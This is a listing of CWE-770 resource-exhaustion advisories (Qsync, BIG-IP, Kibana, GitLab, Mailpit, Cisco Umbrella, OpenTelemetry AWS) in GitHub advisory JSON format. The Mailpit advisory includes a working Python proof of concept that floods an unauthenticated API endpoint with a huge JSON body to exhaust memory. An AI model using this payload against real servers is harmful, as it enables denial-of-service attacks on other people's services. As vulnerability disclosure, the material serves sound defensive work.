CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3030 vulnerabilities reference this CWE, most recent first.
GHSA-289V-8GXR-C564
Vulnerability from github – Published: 2025-08-29 18:30 – Updated: 2025-09-19 18:31An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.
We have already fixed the vulnerability in the following version: Qsync Central 4.5.0.7 ( 2025/04/23 ) and later
{
"affected": [],
"aliases": [
"CVE-2025-30260"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-29T18:15:37Z",
"severity": "HIGH"
},
"details": "An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 4.5.0.7 ( 2025/04/23 ) and later",
"id": "GHSA-289v-8gxr-c564",
"modified": "2025-09-19T18:31:21Z",
"published": "2025-08-29T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30260"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-25-22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-289W-WQHR-XG2R
Vulnerability from github – Published: 2023-02-01 18:30 – Updated: 2023-02-09 18:30In BIP-IP versions 17.0.x before 17.0.0.2, 16.1.x before 16.1.3.3, 15.1.x before 15.1.8.1, 14.1.x before 14.1.5.3, and all versions of 13.1.x, when OCSP authentication profile is configured on a virtual server, undisclosed requests can cause an increase in CPU resource utilization. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2023-22323"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-01T18:15:00Z",
"severity": "HIGH"
},
"details": "In BIP-IP versions 17.0.x before 17.0.0.2, 16.1.x before 16.1.3.3, 15.1.x before 15.1.8.1, 14.1.x before 14.1.5.3, and all versions of 13.1.x, when OCSP authentication profile is configured on a virtual server, undisclosed requests can cause an increase in CPU resource utilization. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-289w-wqhr-xg2r",
"modified": "2023-02-09T18:30:27Z",
"published": "2023-02-01T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22323"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K56412001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-28HQ-V755-X5PH
Vulnerability from github – Published: 2025-01-23 09:31 – Updated: 2025-01-23 09:31An allocation of resources without limits or throttling in Kibana can lead to a crash caused by a specially crafted request to /api/metrics/snapshot. This can be carried out by users with read access to the Observability Metrics or Logs features in Kibana.
{
"affected": [],
"aliases": [
"CVE-2024-52972"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-23T07:15:08Z",
"severity": "MODERATE"
},
"details": "An allocation of resources without limits or throttling in Kibana can lead to a crash caused by a specially crafted request to /api/metrics/snapshot. This can be carried out by users with read access to the Observability Metrics or Logs features in Kibana.",
"id": "GHSA-28hq-v755-x5ph",
"modified": "2025-01-23T09:31:17Z",
"published": "2025-01-23T09:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52972"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-7-17-23-8-15-0-security-updates-esa-2024-32-esa-2024-33/373548"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-28M9-57G2-HV97
Vulnerability from github – Published: 2024-10-24 12:31 – Updated: 2024-10-24 12:31An issue has been discovered in GitLab CE/EE affecting all versions from 11.2 before 17.3.6, 17.4 before 17.4.3, and 17.5 before 17.5.1. A denial of service could occur via importing a malicious crafted XML manifest file.
{
"affected": [],
"aliases": [
"CVE-2024-6826"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-24T10:15:02Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions from 11.2 before 17.3.6, 17.4 before 17.4.3, and 17.5 before 17.5.1. A denial of service could occur via importing a malicious crafted XML manifest file.",
"id": "GHSA-28m9-57g2-hv97",
"modified": "2024-10-24T12:31:18Z",
"published": "2024-10-24T12:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6826"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2571364"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/472928"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-28PQ-6QXG-WG5R
Vulnerability from github – Published: 2026-07-01 20:56 – Updated: 2026-07-01 20:56Summary
The fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only POST /api/v1/send with http.MaxBytesReader. The four other Mailpit JSON-body API endpoints PUT /api/v1/messages (SetReadStatus), DELETE /api/v1/messages (DeleteMessages), PUT /api/v1/tags (SetMessageTags), and POST /api/v1/message/{id}/release (ReleaseMessage) still call json.NewDecoder(r.Body) directly with no body-size cap and remain reachable unauthenticated in the default docker run axllent/mailpit:latest deploy. An unauthenticated remote attacker can post a multi-million-element IDs slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.
Affected versions
- Mailpit at HEAD
67a7ca83ff759082d2b86dda07eb5bb3dad404e0(v1.30.0, 2026-05-14). - All versions
<= v1.30.0(the release that shipped the GHSA-fpxj fix). Versions< v1.30.0are vulnerable to the original GHSA-fpxj on/api/v1/send; versionv1.30.0carries the sibling-endpoint gap described here.
Privilege required
None in default deploy (no --ui-auth, no --smtp-auth). The four endpoints share the same middleWareFunc wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With --ui-auth=user:pass configured, the same primitive is post-auth — still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.
The incomplete fix
Commit 136bdde ("Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)", 2026-05-12) added the MaxBytesReader wrap in exactly one place:
// server/apiv1/send.go:45-48
if config.MaxMessageSize > 0 {
r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}
decoder := json.NewDecoder(r.Body)
The sibling JSON-body handlers were not updated. Side-by-side at HEAD 67a7ca8:
| File | Function | MaxBytesReader? |
Unauth in default deploy? |
|---|---|---|---|
server/apiv1/send.go:45-48 (SendMessageHandler) |
POST /api/v1/send |
YES (50 MB) | YES (via sendAPIAuthMiddleware falling back to middleWareFunc) |
server/apiv1/messages.go:107 (SetReadStatus) |
PUT /api/v1/messages |
NO | YES |
server/apiv1/messages.go:187 (DeleteMessages) |
DELETE /api/v1/messages |
NO | YES |
server/apiv1/tags.go:54 (SetMessageTags) |
PUT /api/v1/tags |
NO | YES |
server/apiv1/release.go:55 (ReleaseMessage) |
POST /api/v1/message/{id}/release |
NO | YES |
The four sibling handlers all share the shape:
// server/apiv1/messages.go:107-115 (SetReadStatus)
decoder := json.NewDecoder(r.Body)
var data struct {
Read bool
IDs []string
Search string
}
err := decoder.Decode(&data)
No MaxBytesReader, no body-size cap, no r.Header.Get("Content-Length") check. The json.NewDecoder streams the body but each "x" element materialises as a separate Go string plus slice-header overhead, so the unmarshalled []string slice for IDs grows roughly linearly with attacker payload size.
Vulnerable code
server/apiv1/messages.go:107:
func SetReadStatus(w http.ResponseWriter, r *http.Request) {
decoder := json.NewDecoder(r.Body)
var data struct {
Read bool
IDs []string
Search string
}
err := decoder.Decode(&data)
if err != nil {
httpError(w, err.Error())
return
}
// ...
Three other handlers (DeleteMessages, SetMessageTags, ReleaseMessage) match the same shape.
Reachability chain (default deploy)
Listen() # config/config.go HTTPListen = "[::]:8025"
↓
HTTP server # server/server.go:177-186
↓
middleWareFunc(apiv1.SetReadStatus) # server/server.go:178 — auth bypassed when UICredentials == nil
↓
SetReadStatus # server/apiv1/messages.go:87
↓
json.NewDecoder(r.Body).Decode(&data) # no MaxBytesReader; allocates 4M Go strings + slice for {"IDs":["x",...]}
↓
RSS grows ~28x relative to payload size
config/config.go's MaxMessageSize field (added by 136bdde) exists and is parsed from --max-message-size (default 50 MB), but it is checked only in server/apiv1/send.go. The four sibling handlers never consult it.
Reproduction (E2E against axllent/mailpit:latest v1.30.0)
# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)
docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest
# 2) baseline RSS
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
# → 8.473MiB / 5.772GiB
# 3) trigger
python3 - <<'PY'
import socket
N = 4_000_000
prefix = b'{"Read": true, "IDs": ['
items = b'"x"' + (b',"x"' * (N - 1))
suffix = b']}'
clen = len(prefix) + len(items) + len(suffix)
s = socket.create_connection(("localhost", 18025), timeout=300)
s.sendall(
b"PUT /api/v1/messages HTTP/1.1\r\n"
b"Host: localhost:18025\r\n"
b"Content-Type: application/json\r\n"
b"Content-Length: " + str(clen).encode() + b"\r\n"
b"Connection: close\r\n\r\n")
s.sendall(prefix)
rem = items
while rem:
s.sendall(rem[:1024*1024]); rem = rem[1024*1024:]
s.sendall(suffix)
s.close()
PY
# 4) post-PoC RSS
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
# → 455.8MiB / 5.772GiB
Observed: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28× amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it.
The same primitive reproduces on DELETE /api/v1/messages, PUT /api/v1/tags, and POST /api/v1/message/{any-id}/release with identical body shapes; each of the four endpoints individually reproduces the same amplification.
Impact
- Pre-auth remote memory-exhaustion DoS. Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on
[::]:8025. A single TCP connection sending one ~100 MB JSONIDsbody drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710. - Disk amplification (secondary). The
IDsslice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. ForSetReadStatus, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear inlen(ids). - Same threat model as the parent. The maintainer chose 50 MB as the default cap for
/api/v1/sendto bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded.
Suggested fix
Apply the same MaxBytesReader pattern already proven on send.go to every JSON-body handler. Concretely, wrap each of the four sibling sites:
// server/apiv1/messages.go:107 (SetReadStatus)
if config.MaxMessageSize > 0 {
r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}
decoder := json.NewDecoder(r.Body)
// server/apiv1/messages.go:187 (DeleteMessages) — same wrap
// server/apiv1/tags.go:54 (SetMessageTags) — same wrap
// server/apiv1/release.go:55 (ReleaseMessage) — same wrap
A cleaner shape is to factor the cap into the existing middleWareFunc wrapper in server/server.go, so every API handler that is not an upload-style endpoint inherits the cap by default.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48824"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T20:56:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, \"Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes\") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage) still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.\n\n### Affected versions\n\n- Mailpit at HEAD `67a7ca83ff759082d2b86dda07eb5bb3dad404e0` (v1.30.0, 2026-05-14).\n- All versions `\u003c= v1.30.0` (the release that shipped the GHSA-fpxj fix). Versions `\u003c v1.30.0` are vulnerable to the original GHSA-fpxj on `/api/v1/send`; version `v1.30.0` carries the sibling-endpoint gap described here.\n\n### Privilege required\n\nNone in default deploy (no `--ui-auth`, no `--smtp-auth`). The four endpoints share the same `middleWareFunc` wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With `--ui-auth=user:pass` configured, the same primitive is post-auth \u2014 still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.\n\n### The incomplete fix\n\nCommit `136bdde` (\"Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)\", 2026-05-12) added the `MaxBytesReader` wrap in exactly one place:\n\n```go\n// server/apiv1/send.go:45-48\nif config.MaxMessageSize \u003e 0 {\n r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\n\ndecoder := json.NewDecoder(r.Body)\n```\n\nThe sibling JSON-body handlers were not updated. Side-by-side at HEAD `67a7ca8`:\n\n| File | Function | `MaxBytesReader`? | Unauth in default deploy? |\n|---|---|---|---|\n| `server/apiv1/send.go:45-48` (`SendMessageHandler`) | POST `/api/v1/send` | YES (50 MB) | YES (via `sendAPIAuthMiddleware` falling back to `middleWareFunc`) |\n| `server/apiv1/messages.go:107` (`SetReadStatus`) | PUT `/api/v1/messages` | NO | YES |\n| `server/apiv1/messages.go:187` (`DeleteMessages`) | DELETE `/api/v1/messages` | NO | YES |\n| `server/apiv1/tags.go:54` (`SetMessageTags`) | PUT `/api/v1/tags` | NO | YES |\n| `server/apiv1/release.go:55` (`ReleaseMessage`) | POST `/api/v1/message/{id}/release` | NO | YES |\n\nThe four sibling handlers all share the shape:\n\n```go\n// server/apiv1/messages.go:107-115 (SetReadStatus)\ndecoder := json.NewDecoder(r.Body)\n\nvar data struct {\n Read bool\n IDs []string\n Search string\n}\n\nerr := decoder.Decode(\u0026data)\n```\n\nNo `MaxBytesReader`, no body-size cap, no `r.Header.Get(\"Content-Length\")` check. The `json.NewDecoder` streams the body but each `\"x\"` element materialises as a separate Go `string` plus slice-header overhead, so the unmarshalled `[]string` slice for `IDs` grows roughly linearly with attacker payload size.\n\n### Vulnerable code\n\n`server/apiv1/messages.go:107`:\n\n```go\nfunc SetReadStatus(w http.ResponseWriter, r *http.Request) {\n decoder := json.NewDecoder(r.Body)\n\n var data struct {\n Read bool\n IDs []string\n Search string\n }\n\n err := decoder.Decode(\u0026data)\n if err != nil {\n httpError(w, err.Error())\n return\n }\n // ...\n```\n\nThree other handlers (`DeleteMessages`, `SetMessageTags`, `ReleaseMessage`) match the same shape.\n\n### Reachability chain (default deploy)\n\n```\nListen() # config/config.go HTTPListen = \"[::]:8025\"\n \u2193\nHTTP server # server/server.go:177-186\n \u2193\nmiddleWareFunc(apiv1.SetReadStatus) # server/server.go:178 \u2014 auth bypassed when UICredentials == nil\n \u2193\nSetReadStatus # server/apiv1/messages.go:87\n \u2193\njson.NewDecoder(r.Body).Decode(\u0026data) # no MaxBytesReader; allocates 4M Go strings + slice for {\"IDs\":[\"x\",...]}\n \u2193\nRSS grows ~28x relative to payload size\n```\n\n`config/config.go`\u0027s `MaxMessageSize` field (added by 136bdde) exists and is parsed from `--max-message-size` (default 50 MB), but it is checked only in `server/apiv1/send.go`. The four sibling handlers never consult it.\n\n### Reproduction (E2E against `axllent/mailpit:latest` v1.30.0)\n\n```bash\n# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)\ndocker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest\n\n# 2) baseline RSS\ndocker stats mailpit-test --no-stream --format \u0027{{.MemUsage}}\u0027\n# \u2192 8.473MiB / 5.772GiB\n\n# 3) trigger\npython3 - \u003c\u003c\u0027PY\u0027\nimport socket\nN = 4_000_000\nprefix = b\u0027{\"Read\": true, \"IDs\": [\u0027\nitems = b\u0027\"x\"\u0027 + (b\u0027,\"x\"\u0027 * (N - 1))\nsuffix = b\u0027]}\u0027\nclen = len(prefix) + len(items) + len(suffix)\ns = socket.create_connection((\"localhost\", 18025), timeout=300)\ns.sendall(\n b\"PUT /api/v1/messages HTTP/1.1\\r\\n\"\n b\"Host: localhost:18025\\r\\n\"\n b\"Content-Type: application/json\\r\\n\"\n b\"Content-Length: \" + str(clen).encode() + b\"\\r\\n\"\n b\"Connection: close\\r\\n\\r\\n\")\ns.sendall(prefix)\nrem = items\nwhile rem:\n s.sendall(rem[:1024*1024]); rem = rem[1024*1024:]\ns.sendall(suffix)\ns.close()\nPY\n\n# 4) post-PoC RSS\ndocker stats mailpit-test --no-stream --format \u0027{{.MemUsage}}\u0027\n# \u2192 455.8MiB / 5.772GiB\n```\n\nObserved: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28\u00d7 amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it.\n\nThe same primitive reproduces on `DELETE /api/v1/messages`, `PUT /api/v1/tags`, and `POST /api/v1/message/{any-id}/release` with identical body shapes; each of the four endpoints individually reproduces the same amplification.\n\n### Impact\n\n- **Pre-auth remote memory-exhaustion DoS.** Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on `[::]:8025`. A single TCP connection sending one ~100 MB JSON `IDs` body drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710.\n- **Disk amplification (secondary).** The `IDs` slice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. For `SetReadStatus`, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear in `len(ids)`.\n- **Same threat model as the parent.** The maintainer chose 50 MB as the default cap for `/api/v1/send` to bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded.\n\n### Suggested fix\n\nApply the same `MaxBytesReader` pattern already proven on `send.go` to every JSON-body handler. Concretely, wrap each of the four sibling sites:\n\n```go\n// server/apiv1/messages.go:107 (SetReadStatus)\nif config.MaxMessageSize \u003e 0 {\n r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\ndecoder := json.NewDecoder(r.Body)\n\n// server/apiv1/messages.go:187 (DeleteMessages) \u2014 same wrap\n// server/apiv1/tags.go:54 (SetMessageTags) \u2014 same wrap\n// server/apiv1/release.go:55 (ReleaseMessage) \u2014 same wrap\n```\n\nA cleaner shape is to factor the cap into the existing `middleWareFunc` wrapper in `server/server.go`, so every API handler that is not an upload-style endpoint inherits the cap by default. \n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-28pq-6qxg-wg5r",
"modified": "2026-07-01T20:56:10Z",
"published": "2026-07-01T20:56:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)"
}
GHSA-28R8-9G34-2X25
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39A vulnerability in the web UI of Cisco Umbrella could allow an unauthenticated, remote attacker to negatively affect the performance of this service. The vulnerability exists due to insufficient rate limiting controls in the web UI. An attacker could exploit this vulnerability by sending crafted HTTPS packets at a high and sustained rate. A successful exploit could allow the attacker to negatively affect the performance of the web UI. Cisco has addressed this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2021-1350"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-20T20:15:00Z",
"severity": "MODERATE"
},
"details": "\n A vulnerability in the web UI of Cisco Umbrella could allow an unauthenticated, remote attacker to negatively affect the performance of this service.\n The vulnerability exists due to insufficient rate limiting controls in the web UI. An attacker could exploit this vulnerability by sending crafted HTTPS packets at a high and sustained rate. A successful exploit could allow the attacker to negatively affect the performance of the web UI.\n Cisco has addressed this vulnerability. ",
"id": "GHSA-28r8-9g34-2x25",
"modified": "2022-05-24T17:39:41Z",
"published": "2022-05-24T17:39:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1350"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-umb-dos-dgKzDEBP"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-28VW-4PRM-5Q55
Vulnerability from github – Published: 2023-05-30 18:30 – Updated: 2024-04-04 04:23An issue found in Wave Animated Keyboard Emoji v.1.70.7 for Android allows a local attacker to cause a denial of service via the database files.
{
"affected": [],
"aliases": [
"CVE-2023-29737"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-30T17:15:10Z",
"severity": "MODERATE"
},
"details": "An issue found in Wave Animated Keyboard Emoji v.1.70.7 for Android allows a local attacker to cause a denial of service via the database files.",
"id": "GHSA-28vw-4prm-5q55",
"modified": "2024-04-04T04:23:32Z",
"published": "2023-05-30T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29737"
},
{
"type": "WEB",
"url": "https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29737/CVE%20detail.md"
},
{
"type": "WEB",
"url": "https://play.google.com/store/apps/details?id=com.wave.keyboard"
},
{
"type": "WEB",
"url": "http://www.wavekeyboard.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-28XM-PRXC-5866
Vulnerability from github – Published: 2026-04-23 21:44 – Updated: 2026-04-23 21:44Summary
OpenTelemetry.Sampler.AWS reads unbounded HTTP response bodies from a configured AWS X-Ray remote sampling endpoint into memory.
OpenTelemetry.Resources.AWS reads unbounded HTTP response bodies from a configured AWS EC2/ECS/EKS remote instance metadata service endpoint into memory.
Both of these would allow an attacker-controlled endpoint or be acting as a Man-in-the-Middle (MitM) to cause excessive memory allocation and possible process termination (via Out of Memory (OOM)).
Details
OpenTelemetry.Sampler.AWS
AWSXRaySamplerClient.DoRequestAsync called HttpClient.SendAsync followed by ReadAsStringAsync(), which materializes the entire HTTP response body into a single in-memory string with no size limit. The sampling endpoint is configurable via AWSXRayRemoteSamplerBuilder.SetEndpoint (default: http://localhost:2000).
An attacker who controls the configured endpoint, or who can intercept traffic to it (MitM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an OutOfMemoryException that terminates the process.
OpenTelemetry.Resources.AWS
The AWSEC2Detector, AWSECSDetector and AWSEKSDetector classes all make HTTP requests to the relevant AWS metadata service (http://169.254.169.254, ECS_CONTAINER_METADATA_URI/ECS_CONTAINER_METADATA_URI_V4 or https://kubernetes.default.svc respectively) to obtain metadata about the running process and its infrastructure.
An attacker who controls the configured endpoint(s), or who can intercept traffic to them (MiTM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an OutOfMemoryException that terminates the process.
Impact
Denial of Service (DoS). An attacker can destabilize or crash the application by forcing unbounded memory allocation through the X-Ray sampling and/or EC2/ECS/EKS HTTP response paths.
Mitigating Factors
- The default X-Ray sampling endpoint is
http://localhost:2000, which limits remote exposure in default configurations. - Risk increases materially when operators configure the sampler to point at a remote or untrusted endpoint.
Patches
Fixed in OpenTelemetry.Sampler.AWS version 0.1.0-alpha.8 and OpenTelemetry.Resources.AWS version 1.15.1.
The fixes (#4100, #4122) introduce changes that introduce limits to HttpClient requests so that the response body is streamed rather than buffered entirely in memory.
Workarounds
- Ensure the X-Ray sampling endpoint (
http://localhost:2000by default) is not accessible to untrusted parties. - Use network-level controls (firewall rules, mTLS, service mesh) to prevent Man-in-the-Middle (MitM) attacks on the sampling endpoint and/or EC2/ECS/EKS connection.
- If using a remote endpoint, place it behind a reverse proxy that enforces a response body size limit.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "OpenTelemetry.Sampler.AWS"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.0-alpha.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "OpenTelemetry.Resources.AWS"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41173"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-23T21:44:31Z",
"nvd_published_at": "2026-04-23T19:17:29Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`OpenTelemetry.Sampler.AWS` reads unbounded HTTP response bodies from a configured AWS X-Ray remote sampling endpoint into memory.\n\n`OpenTelemetry.Resources.AWS` reads unbounded HTTP response bodies from a configured AWS EC2/ECS/EKS remote instance metadata service endpoint into memory.\n\nBoth of these would allow an attacker-controlled endpoint or be acting as a Man-in-the-Middle (MitM) to cause excessive memory allocation and possible process termination (via Out of Memory (OOM)).\n\n### Details\n\n#### OpenTelemetry.Sampler.AWS\n\n`AWSXRaySamplerClient.DoRequestAsync` called `HttpClient.SendAsync` followed by `ReadAsStringAsync()`, which materializes the entire HTTP response body into a single in-memory string with no size limit. The sampling endpoint is configurable via `AWSXRayRemoteSamplerBuilder.SetEndpoint` (default: `http://localhost:2000`).\n\nAn attacker who controls the configured endpoint, or who can intercept traffic to it (MitM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an `OutOfMemoryException` that terminates the process.\n\n#### OpenTelemetry.Resources.AWS\n\nThe [`AWSEC2Detector`](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/blob/171c6b81f88831641b56b470e6f92862e605013d/src/OpenTelemetry.Resources.AWS/AWSEC2Detector.cs), [`AWSECSDetector`](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/blob/171c6b81f88831641b56b470e6f92862e605013d/src/OpenTelemetry.Resources.AWS/AWSECSDetector.cs) and [`AWSEKSDetector`](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/blob/171c6b81f88831641b56b470e6f92862e605013d/src/OpenTelemetry.Resources.AWS/AWSEKSDetector.cs) classes all make HTTP requests to the relevant AWS metadata service (`http://169.254.169.254`, `ECS_CONTAINER_METADATA_URI`/`ECS_CONTAINER_METADATA_URI_V4` or `https://kubernetes.default.svc` respectively) to obtain metadata about the running process and its infrastructure.\n\nAn attacker who controls the configured endpoint(s), or who can intercept traffic to them (MiTM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an `OutOfMemoryException` that terminates the process.\n\n### Impact\n\nDenial of Service (DoS). An 